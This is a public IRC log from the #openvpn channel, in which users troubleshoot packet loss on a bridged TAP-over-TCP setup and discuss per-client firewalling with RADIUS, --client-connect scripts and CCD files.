04:19 -!- Guest36831 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
04:19 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
04:20 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
04:22 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has quit [Ping timeout: 256 seconds]
04:23 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
04:37 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
04:40 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 256 seconds]
04:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:50 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
04:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
04:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:00 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
05:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 272 seconds]
05:06 < al_nz1> Hi All. I want to access my OVPN server (which is behind a NAT'd router on 192.168.1.1) using the remote LAN IP. I have added "add route -net 10.8.0.0 netmask 255.255.255.0 gw 192.168.1.1" but that didnt help
05:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:10 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit []
05:15 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
05:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:18 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 276 seconds]
05:22 < jzaw> !pin
05:22 < jzaw> !ping
05:22 <@vpnHelper> pong
06:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:14 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 245 seconds]
06:29 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
06:31 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 264 seconds]
06:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
06:31 -!- awc737_away [~awc737@2604:180:1::e9e7:263f] has quit [Ping timeout: 264 seconds]
06:31 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
06:32 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
06:32 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
06:34 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
06:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
06:34 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:35 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
06:57 -!- Neal_ [neal@felix.ineal.me] has quit [Ping timeout: 258 seconds]
07:03 -!- Neal_ [neal@felix.ineal.me] has joined #openvpn
07:05 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
07:08 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
07:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
07:13 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
07:27 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:30 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 258 seconds]
07:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:40 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 256 seconds]
07:42 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
08:18 -!- dioz_ is now known as dioz
08:32 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:33 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
08:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:58 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:4994:1a68:3bc5:49c6] has joined #openvpn
09:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:13 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:15 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
09:19 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:23 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has quit [Quit: User disconnected]
09:27 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
09:56 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:11 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has joined #openvpn
10:15 <@ecrist> wow, 199 peeps
10:15 <@ecrist> we're going to break 200
10:17 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:17 <@ecrist> there it is. :)
10:17 <@ecrist>  [@ecrist(+i)] [5:#openvpn(+cgnst)] [200 nicks (@9 %0 +4 187)]    
10:19 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:21 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has quit [Quit: Nity nite]
10:26 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has joined #openvpn
10:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
10:32 -!- xlinkz0 [~xlinkz0@5-13-216-152.residential.rdsnet.ro] has quit [Quit: Leaving]
10:42 <@krzee> \o/
10:42 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has quit [Quit: Nity nite]
10:43 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has joined #openvpn
10:47 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has quit [Ping timeout: 252 seconds]
10:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:50 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has quit [Quit: Nity nite]
10:50 <@ecrist> krzee: it only took us 4 1/2 years
10:50 <@ecrist> 4.75, really
10:51 <@krzee> is that all?
10:51 <@krzee> i didnt realize i was here so long when it was opless
10:51 < phunyguy> Hello folks, I will paste my config and stuff in a minute, just curious abotu what could be causing my issue.  I have Ubuntu server running openvpn, and it is also my router. My clients seem to connect fine, work decently, but I get intermittent "dead moments" where packets are just not flowing.  When going from client to inside LAN, with a continuous ping, I get 0% packet loss, but when going from LAN side out to the client, I get 20-40% packet
10:51 < phunyguy> loss.
10:52 < phunyguy> no errors in logs that I could see
10:52 <@krzee> phunyguy, you just say you get 0 packet loss pinging something on the same local lan?
10:52 < phunyguy> krzee, when going from openvpn client to my home network over the vpn
10:53 <@krzee> take your time and make sure you're saying what you want to say correctly
10:54 <@krzee> maybe even better, include the pings (shortened output) in your pastebin
10:57 < phunyguy> sorry, I'm not very good at wording sometimes
10:58 < phunyguy> going from my home network out to the client, I get 0% packet loss, but from the client going into my home network, I got 19% just now.   494 packets transmitted, 397 received, 19% packet loss, time 494301ms
11:01 < phunyguy> here is my server config
11:01 < phunyguy> http://paste.ubuntu.com/5623060/
11:01 <@krzee> why are you bridging?'
11:04 < phunyguy> because I figured it would be easier in the long run.  Basically I have it set up so that no matter where I go with laptops, they stay connected like they are physically at the house, and route all traffic through the tunnel.
11:04 < pekster> If you want to route traffic, you want tun, not tap
11:04 < pekster> !tunortap
11:04 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:04 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:04 <@krzee> and why are you using tcp?
11:05 < phunyguy> krzee, firewall limitations at work.  Could only find one open outgoing port.  TCP 1935
11:05 < phunyguy> pekster: I do want to pass layer 2 traffic.
11:06 < pekster> Depends on your firewall; sometimes (ab)using ports like udp/53 or similar common services can help
11:06 < pekster> phunyguy: Really? That's a bit uncommon, but a valid use case; I am curious what protocol you need Ethernet frames for
11:06 < phunyguy> when I said "route" I meant use the tunnel as the default gateway.
11:06 < pekster> Right, you don't need tap for that
11:06 < pekster> at all
11:06 < phunyguy> never said I did.
11:07 < phunyguy> :)
11:07 < phunyguy> I want to, but don't need to.  And it worked fine on my previous setup, just can't figure out what changed.
11:07 < phunyguy> I was using Endian Firewall before, and that was tap ONLY for some strange reason.
11:07 <@krzee> bridging adds extra overhead to every packet, tcp makes it so packet loss / network hiccups will not be forgiven
11:08 < phunyguy> kree, right, but the hiccups are only one direction.
11:08 < phunyguy> I would agree if it were both sides, but it's not.
11:08 <@krzee> you never pastebin'ed the pings
11:08 <@krzee> i gave up on understanding the words, show the commands
11:09 < pekster> --tcp-nodelay might help, but I suspect that there's something else going on with your link
11:09 < phunyguy> I pasted the relevant part, it dodn't show the failures on each line, it just showed the loss at the end.
11:09 < phunyguy> so I only pasted the end.
11:09 < phunyguy> I also get this on the Ubuntu router end in syslog, not sure it is related: May  1 12:06:55 outerbanks kernel: [47670.947914] br0: received packet on eth1 with own address as source address
11:10 < phunyguy> but it isn't happening at the same time as the hiccups
11:10 < phunyguy> the ping line I pasted is this: 494 packets transmitted, 397 received, 19% packet loss, time 494301ms
11:11 < pekster> That's certainly going to be a problem; it means something else has the router's MAC address. That'll screw up ARP & switch caches
11:11 < phunyguy> well eth1 is a member of br0
11:11 < phunyguy> so..
11:11 < pekster> (oh, I'd figure that's MAC, I guess I don't know offhand what that's referring to)
11:12 < pekster> tcpdump that. Sounds like you have bigger issues on that network
11:12 < pekster> If packets don't get where they're supposed to, that's a pretty clear reason for packet loss
11:12 < phunyguy> yeah, it's just weird because everything else works fantastic
11:12 < phunyguy> brb
11:13 <@krzee> i bet the problem goes away when you change to routed tun
11:14 < phunyguy> I can try. can't hurt
11:15 < phunyguy> but I ran tap over TCP for years with openvpn on Endian.
11:15 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
11:17 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
11:22 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
11:23 < phunyguy> hmmm, on eth1 (LAN port) on the router, in ifconfig I get RX packets:13609081 errors:111 dropped:0 overruns:110 frame:1
11:24 < phunyguy> I hope that port isn't dying.... :(  (onboard)
11:25 -!- jekader [~jekader@89.28.86.96] has joined #openvpn
11:25 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
11:26 < jekader> hi all!
11:26 < jekader> I want to ask if someone has seen a firewalling plugin out there
11:26 <@krzee> jekader,
11:26 < jekader>  currently my setup works using RADIUS, gets routes from there and sends them to the client
11:26 <@krzee> !learn-address
11:26 <@krzee> erm
11:26 <@krzee> !script
11:26 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
11:26 <@krzee> see learn-address
11:27 < jekader> that's not what I want
11:27 <@krzee> you'll make a script to add the rules =]
11:27 < pekster> Depends on what firewalling you intend to do; --client-connect is often a better solution to dynamic firewalling per-client
11:27 < jekader> so I get the routes from RADIUS
11:27 < jekader> and write them to CCDs
11:27 <@krzee> pekster, learn-address is better because it works on the new address if a client ifconfig's to a new one
11:27 < jekader> so then  they-re sent to the client
11:27 < pekster> krzee: Not based on what he wants
11:28 < pekster> You can't push routes in learn-address
11:28 < jekader> I want to really filter traffic based on those routes
11:28 < pekster> And you can't just ifconfig to a different address in a tun setup (assumiing that's what this is)
11:28 <@krzee> so a learn-address for firewall rules and client-connect for routes
11:28 < pekster> openvpn rejects it
11:28 < jekader> cause now if I don't send the route 1.1.1.1 but you're smart enough - you can add it yourself
11:28 <@krzee> really? it used to work...
11:28 <@krzee> if it rejects it, that is new
11:29 <@krzee> jekader, that can also be handled like this:
11:29 <@krzee> !policy
11:29 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario
11:29 < jekader> I want something to pasre the CCD's and add rules to iptables accordingly
11:29 <@krzee> thats not how it works
11:29 <@krzee> !client-connect
11:29 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1.
11:29 <@krzee> thats how you handle dynamic ccd
11:29 < jekader> the main issue is to filter traffic
11:30 < jekader> th exact implementation isn't that important
11:30 <@krzee> pekster, you tried changing ips in topology subnet?
11:32 < jekader> krzee - thanks for the link
11:32 < jekader> policies look nice
11:32 < jekader> although I need to figure out how to assign an IP from the pool I need
11:33 < jekader> as I said, CCDs are created dynamically via radiusplugin
11:33 <@krzee> !static
11:33 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
11:33 < jekader> and they are group-based
11:34 <@krzee> as i said, dynamic ccd's should be --client-connect
11:34 <@krzee> well a plugin can do it, but then you either need client-connect to add firewall rules or modify your plugin
11:35 <@krzee> or client-connect could assign the ips
11:35 < jekader> client-connnect is a path to a script, right?
11:35 <@krzee> but i wonder if they can both work when both try to control the dynamic ccd
11:35 <@krzee> yep
11:36 < pekster> krzee: Yes. It doesn't work
11:37 < pekster> "MULTI: bad source address from client [172.19.43.235], packet dropped"
11:37 <@krzee> hmm cool
11:37 < pekster> That's the entire point of iroute
11:37 < pekster> So no, --learn-address is completely the wrong solution. It'll trigger for every IP (or MAC, in tap) seen on a server with iroute set up, though
11:37 < phunyguy> hmmm, I am changing cipher, just to rule that out.
11:37 < pekster> If one is designing a firewall, doing it that way would be silly; far better to firewall upfront when you have a client LAN like that
11:37 <@krzee> its not cipher phunyguy
11:38 < phunyguy> my only other guess for my issue is the WAN link here at work.
11:38 <@krzee> hmm, ill have to go back to the cookbook, i could swear learn-address was jjk's solution in the book
11:38 < pekster> It's a terriable solution for 'dynamic firewalling of clients'
11:38 < phunyguy> I will stop by McDonalds or something later and run some tests on their wifi.
11:38 <@krzee> but im in usa so wont be checking any time soon
11:38 < pekster> (I'd know; I did some extensive such config for a former job)
11:38 < jekader> krzee - and does the CCD script also get the client IP as input?
11:38 < phunyguy> I know they use an IPS here, so it could very well be that.
11:39 < jekader> *sorry client-connect script
11:39 < pekster> jekader: It' all exposed as env-vars
11:39 < jekader> or just the contents of the CCD file?
11:39 < jekader> cool
11:39 <@krzee> jekader, check
11:39 < pekster> jekader: It doesn't "get" the ccd file, no
11:39 <@krzee> make a script that outputs env
11:39 < phunyguy> yup, still packet loss.
11:39 <@krzee> jekader, client-connect MAKES a ccd file (its $1)
11:39 < jekader> will spend some time to read the docs
11:39 < jekader> should be a good starting point
11:40 < jekader> well I can make it read the CCD first :)
11:40 < pekster> And yea, IIRC not every one of the vars is actually listed in the manpage. Try a line like this in your --client-connect script (assuming some sh-varient): `set > /tmp/vars.txt` and inspect that
11:40 < jekader> parse the "push route" stuff
11:41 < jekader> and then create some iptables rules
11:41 <@krzee> lol
11:41 <@krzee> dont parse route stuff, put it in the script
11:41 <@krzee> you arent getting the idea
11:41 < jekader> but I get routes from RADIUS :)
11:42 < pekster> If the routes are coming from some radius-client reply, then yea, the reply gets parsed and put in the $1 (the temp file that's read "as a ccd would be" when the script exits success) with the usual `push "route ..."`
11:42 < pekster> Presumably adding a firewall rule to pass the traffic for the client before dropping remaining unauthorized traffic
11:42 <@krzee> he still plans on having radius update ccd files and using those as input
11:42 <@krzee> jekader, have your script query your radius server
11:43 < jekader> that's a whole other level of complexity for me
11:43 < jekader> http://www.nongnu.org/radiusplugin/ - I use this currently
11:43 <@vpnHelper> Title: Radiusplugin for OpenVPN (at www.nongnu.org)
11:43 < jekader> send the user/pass there, get routes in response
11:43 <@krzee> and having 2 things simultaneously generating ccd files wont be more complex?
11:44 <@krzee> i think you'll find that it will be, but we shall see
11:44 < pekster> Personally, I find it a lot easier to handle the routes and special firewall rules on the VPN server itself
11:44 < jekader> the main thing is that radiusplugin must be invoked before my firewalling script :)
11:44 < jekader> if it's not, then I'm screwed :D
11:45 < pekster> If you're using a plugin, it won't be able to do extra magic stuff it's not programmed to (like interacting with --client-connect to get your "special" options reply from the authenticator end of the radius)
11:45 < pekster> So I think you're going about the solution in an far more complex way than you need
11:47 < pekster> My solution is a --client-connect script that looks in a special "dynamic" directory I create with individual files named ${common_name} and ${common_name}:fw and have it parse those for output to $1 (as ccd directives, like route pushes, etc) and then handle the firewall stuff by adding it to my firewall, and storing the rules in a state dir for later removal when the client disconnects
11:47 < jekader> the existing radiusplugin supports clent IP being sent from the RADIUS server
11:47 < pekster> Some script-fu required to make that all go
11:47 < pekster> client IP != routes and custom firewall rules
11:48 <@krzee> well the rules can be static if the ip is
11:48 < jekader> but the problem is that routes are group-based
11:48 < jekader> yeah
11:48 < jekader> if I could send an IP pool, not just the exact IP
11:48 < jekader> that would solve everything
11:49 < jekader> set a /24 subnet for each group
11:49 <@krzee> umm
11:49 < jekader> let OpenVPN handle IPs
11:49 <@krzee> set static per client
11:49 < jekader> and a fixed set of firewall rules
11:49 <@krzee> if too many, script it
11:49 < jekader> unfortunately I can't do that currently :(
11:49 <@krzee> of course you can
11:50 < jekader> krzee - how for example?
11:50 <@krzee> ou said routes are group based and you said you CAN set ip per user
11:50 <@krzee> [09:47]  <jekader> the existing radiusplugin supports clent IP being sent from the RADIUS server
11:50 < jekader> yes, but the RADIUS server is configured per-group
11:50 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has joined #openvpn
11:50 < jekader> it has 4 rules
11:50 <@krzee> personally i like pekster's solution
11:50 <@krzee> then configure it differently
11:51 <@krzee> you said the plugin supports it
11:51 <@krzee> if you choose to not configure your server to handle that, then its your problem/fault!
11:51 < jekader> well I want to optimize it :)
11:52 < jekader> you see, it's better to set up RADIUS once
11:52 < jekader> and write a doc for support to add users
11:52 <@krzee> optimize includes having it working correctly
11:52 < jekader> then to write a RADIUS rule for each client
11:52 < pekster> Do auth through radius, and "special needs" config for clients (that get special routes, firewall rules, etc) on the server where you can script anything you need
11:52 < pekster> That's my soltion anyway
11:53 < pekster> Why mess with "extra junk" on your radius and have to waste time writing special parsers for it when that's all unnecessary
11:53 < pekster> It's a really hackish solution to do that
11:53 <@krzee> pekster, im not sure if you can have client-connect AND a plugin that generates dynamic ccd
11:53 < pekster> (unless you have other supplicants that also need this info, but I don't think that's the case)
11:53 <@krzee> ild think they hook the same place
11:53 < jekader> this is what I'm here to discuss
11:53 < jekader> cause I have an idea in my head
11:53 < jekader> and I know it's not the best one
11:54 < jekader> my setup is not that complex
11:54 < pekster> krzee: Sure you can: see the manpage for --plugin: it specifically states you can use them in tandem with scripts
11:54 < pekster> So again, do do Auth through RADIUS, and extra config through "whatever" method you want
11:54 <@krzee> hah cool!
11:54 < pekster> You're so stuck on doing this through raidus (for no real gain I can see besides complexity) that you refuse to explore other soltions
11:55 < jekader> actually, it solves a lot
11:55 < jekader> the RADIUS is Active Directory
11:55 < pekster> Pushing *routes* from radius? That's an awful solution, IMO
11:56 < jekader> so if an employee asks for VPN, he is just added to the specific group in AD
11:56 < jekader> there are several
11:56 <@krzee> and his certs?
11:56 < jekader> like "default_ovpn_access" "sysadmin_ovpn_access"
11:56 < jekader> certs are AD based too :)
11:56 <@krzee> oh now it makes sense, the windows method of kludging everything into a single horribly large headache!
11:56 < jekader> cryptoapicert
11:56 < jekader> takes the cert issued for his computer by AD
11:56 < pekster> jekader: So parse the group membership and send the routes based on a config the ovpn server has a list for
11:57 < jekader> OpenVPN doesn't see group memberships in this case
11:57 < jekader> it just sends the user/pass to RADIUS
11:57 < jekader> radius compares groups
11:57 < jekader> sends routes in response
11:58 < pekster> And does the plugin magically send those to the client?
11:58 < pekster> If not, you need to parse it yourself (or recode the plugin)
11:58 < jekader> yep :)
11:58 < jekader> well.. The plugin just writes to the CCD file
11:58 < jekader> and that is executed by OpenVPN
11:59 < jekader> and the requested routes are pushed to the client
11:59 < jekader> krzee - well that's what we have in my organisation
11:59 < jekader> and it's really cool how versatile OpenVPN is
11:59 < pekster> I see (I've never used the plugin as I prefer more direct control with the supplicant run from a script, not plugin, so it's more transparent)
12:00 < jekader> I had a demo setup running in 4 hours
12:00 < pekster> So, if --client-connect is parsed *after* the plugin messes with your ccd files (not sure how I feel about that TBH, but it's not my solution ;) you can parse it as you please
12:00 < jekader> and our M$ specialists have been battling for a month with microsoft's VPN solution and still no luck :)
12:00 <@krzee> i doubt it modifies actual ccd files
12:00 < pekster> plugins have a nasty way of hiding what they're doing behind pre-compiled code; they have their place of course, but I don't see the advantage when a 10 line script does the same job
12:00 < jekader> krzee - it does
12:01 < jekader> I've seen the sources :D
12:01 < jekader> even patched them
12:01 <@krzee> ild expect it to make a dynamic one like client-connect
12:01 <@krzee> not save them in your ccd/ dir
12:01 < jekader> nope :)
12:01 < jekader> sure not a great solution
12:02 < jekader> but a student wrote this plugin in his free time
12:02 < jekader> so THANKS to him
12:02 <@krzee> so openvpn has authority to write to your ccd/ dir?
12:02 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
12:02 < jekader> krzee - yep
12:03 < jekader> even selinux permits this :)
12:03 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has joined #openvpn
12:05 < jekader> pekster - I will test out the  --client-connect stuff, especially to find out WHEN it is invoked
12:05 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
12:05 < pekster> If the ordering isn't at the right time, your next-best bet is to just move the supplicant stuff from the plugin to a script
12:05 < jekader> also, is there also a script that would run on client disconnect?
12:05 < pekster> I promise, it's really not had if you know how to use a supplicant (like radiusclient or w/e)
12:05 < pekster> --client-disconnect
12:06 < jekader> great, thanks!
12:06 < jekader> yep, this will be the back-out solution
12:06 < jekader> to transfer auth to the plugin
12:06 < pekster> huh?
12:06 < pekster> No, just call radiusclient from the --client-connect script
12:06 -!- tgunr_ [~davec@rrcs-108-178-190-54.west.biz.rr.com] has joined #openvpn
12:06 < pekster> You don't even need a plugin that way
12:07 < jekader> that has an advantage of me learning more new things :)
12:07 < jekader> yep
12:07 < pekster> Don't "transfer" it anywhere in that style of solution
12:07 < jekader> and maybe I can employ secure auth within RADIUS
12:07 -!- tgunr [~davec@rrcs-108-178-190-54.west.biz.rr.com] has quit [Read error: Connection reset by peer]
12:07 < jekader> the plugin only understands PAP
12:07 < jekader> which is kind of lame in 2013
12:08 < pekster> If your backend is secure that's less of an issue, but yea, it assumes you have a pre-existing secure channel to do the auth on
12:08 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
12:08 < jekader> indeed, the backend network is secure, I just don't like plaintext floating around
12:09 < pekster> Problem is most of what MS has is junk. MSCHAPv2 was known insecure for over a decade, and even with the effective break (by Moxie) a year ago, plenty of places still use it
12:09 < pekster> Then again, if that's your backend you're stuck with it
12:09 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has quit [Read error: Operation timed out]
12:10 < jekader> yeah, I need to check out what they've added in new version of Microsoft's RADIUS implementation
12:10 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
12:11 < jekader> but I still like the idea of routes sent by RADIUS very much
12:11 < jekader> currently we have to manually edit CCDs
12:12 < pekster> Dunno, why not just handle the groups you put your VPN users by a flat file on the server side?
12:12 < jekader> over multiple OpenVPN servers
12:12 < pekster> SYSOPS_USERS="bob mary john" VPN_USERS="fred joe steve" and call it a day
12:13 < pekster> for x in $SYSOPS_USERS: if [ "$common_name" = "$x" ]; then echo "push \"route 203.0.113.0 255.255.255.0\""; fi
12:13 < jekader> I need to update this list
12:13 < pekster> Done
12:13 < pekster> Easy :)
12:14 < pekster> Oh, echo to $1, but implementation is an excersize for the reader, naturally
12:15 < jekader> I can just send the group back from RADIUS
12:15 <@ecrist> LDAP ftw
12:16 < jekader> will probably do that if I decide to get rid of the plugin
12:16 < pekster> Sure, parse on the reply fields if that's where the master membership is
12:16 <@ecrist> we use the pam user-auth plugin included with openvpn
12:16 <@ecrist> and tie our LDAP to that
12:16 < pekster> Doesn't really matter "where" your central list is, so long as you aren't duplicating work
12:16 <@ecrist> right
12:17 <@ecrist> we already use LDAP everywhere, why not with openvpn?
12:17 < jekader> same here
12:17 < pekster> Sure, athough this use case is 'extra fields to hook on to treat different clients differently'
12:17 < pekster> Same principle, just extra info needed
12:18 < phunyguy> well I'll be a monkey's uncle.  I switched to tun, and it seems to be more reliable.  Well then what in the world is Endian doing that it works so well with tap???
12:18 < pekster> ecrist: At least LDAP has better options for security of credentials as they go over the wire ;)
12:18 <@ecrist> exactly
12:18 < pekster> "Endian" ? No clue. We deal with openvpn here, not $insert_app_that_uses_openvpn
12:18 < jekader> well Active Directory is LDAP :)
12:18 <@ecrist> also, there's a lot you can do with the ldap config, in addition, you can limit users/etc with --client-connect
12:19 < pekster> (insert programmer's joke about endianness at your leasure)
12:19 < phunyguy> pekster: --tcp-nodelay - that option you mentioned earler.... was that on the server-side?
12:19 <@ecrist> it's not what your endian is, it's how you use it...
12:19 < pekster> AD:LDAP::black hole:star
12:20 < jekader> :D
12:20 < pekster> The black hole was once a star...
12:20 < phunyguy> pekster, it was a rhetorical question also (Abotu Endian)   :P
12:20 < jekader> the thing is - almost all works already for me
12:20 < jekader> except the security part with firewalling :)
12:20 <@ecrist> the black hole still IS a start, technically.  just a really really small compact one
12:20 <@ecrist> s/start/star/
12:22 < jekader> thanks for all the thoughts and advice!
12:22 < phunyguy> nevermind, I checked the manual on tcp-nodelay, yeah that sounds like a good option to use for tcp
12:22 <@ecrist> !tcp
12:22 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
12:23 < phunyguy> ecrist, I mentioned it earlier, can't avoid due to firewall limitations at work.  Only outgoing open port I found was TCP 1935
12:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:25 < jekader> phunyguy - tell me if you find some drawbacks of tcp-nodelay
12:25 < jekader> maybe will enable it as well
12:26 < jekader> since I also use TCP 0:-)
12:26 < jzaw> jekader, i dont find any drawbacks ... but im not over convinced its doing much here
12:26 < pekster> There's not really a drawback besides an ever-so-slightly reduction in theoretical throughput in exchange for increased latency
12:27 < jekader> good enoug to give it a try
12:27 < jekader> we can't avoid TCP - some of the places our clients connect from are really wierd
12:27 < pekster> Better is to use it as a fallback only, IMO
12:28 < jekader> even TCP/443 doesn't work in some extreme cases
12:28 < pekster> It's cleraly better than no connection, but UDP more properly acts like the IP layer in terms of losses and ordering
12:29 < jekader> agree to that, but I'll be able to put TCP+UDP only after I've configured firewalling
12:29 < jekader> since I'll really need controll over traffic before  I double the number of servers
12:30 < pekster> why would you use another server for that?
12:30 < pekster> Just copy the config file, change it to udp, and you're done
12:31 < pekster> (well, new network range too, since they're not the same instance)
12:31 < jzaw> pekster, would that it was that simple here .... when i change to udp ... blammo the routing no longer works
12:32 < pekster> That's not related
12:32 < phunyguy> tcp-delay did nothing for tap, but for tun, with or without for me isn't much different.
12:32 < jekader> pekster - yep, talking about IP ranges here
12:33 < jzaw> pekster, but the routing should be exactly the same ?
12:33 < jzaw> ah wait
12:33 < pekster> Routing is routing; it doesn't care "what" you're sending the data over
12:33 < pekster> That's as silly as saying your Internet won't work if you use a green cable, but works fine with a blue one
12:33 < jekader> jzaw - routing is not affected by the transport layer of OpenVPN :)
12:33 < jzaw> strike that ..its the change from tap to tun that stop  traffic routing correctly
12:34 < jzaw> for a reason ive not yet ascertained
12:34 < pekster> Then you've misconfigured something
12:34 < jekader> yeah, mor likely the interface name changed
12:34 < pekster> Probably a firewall
12:34 < jzaw> but ips dont change
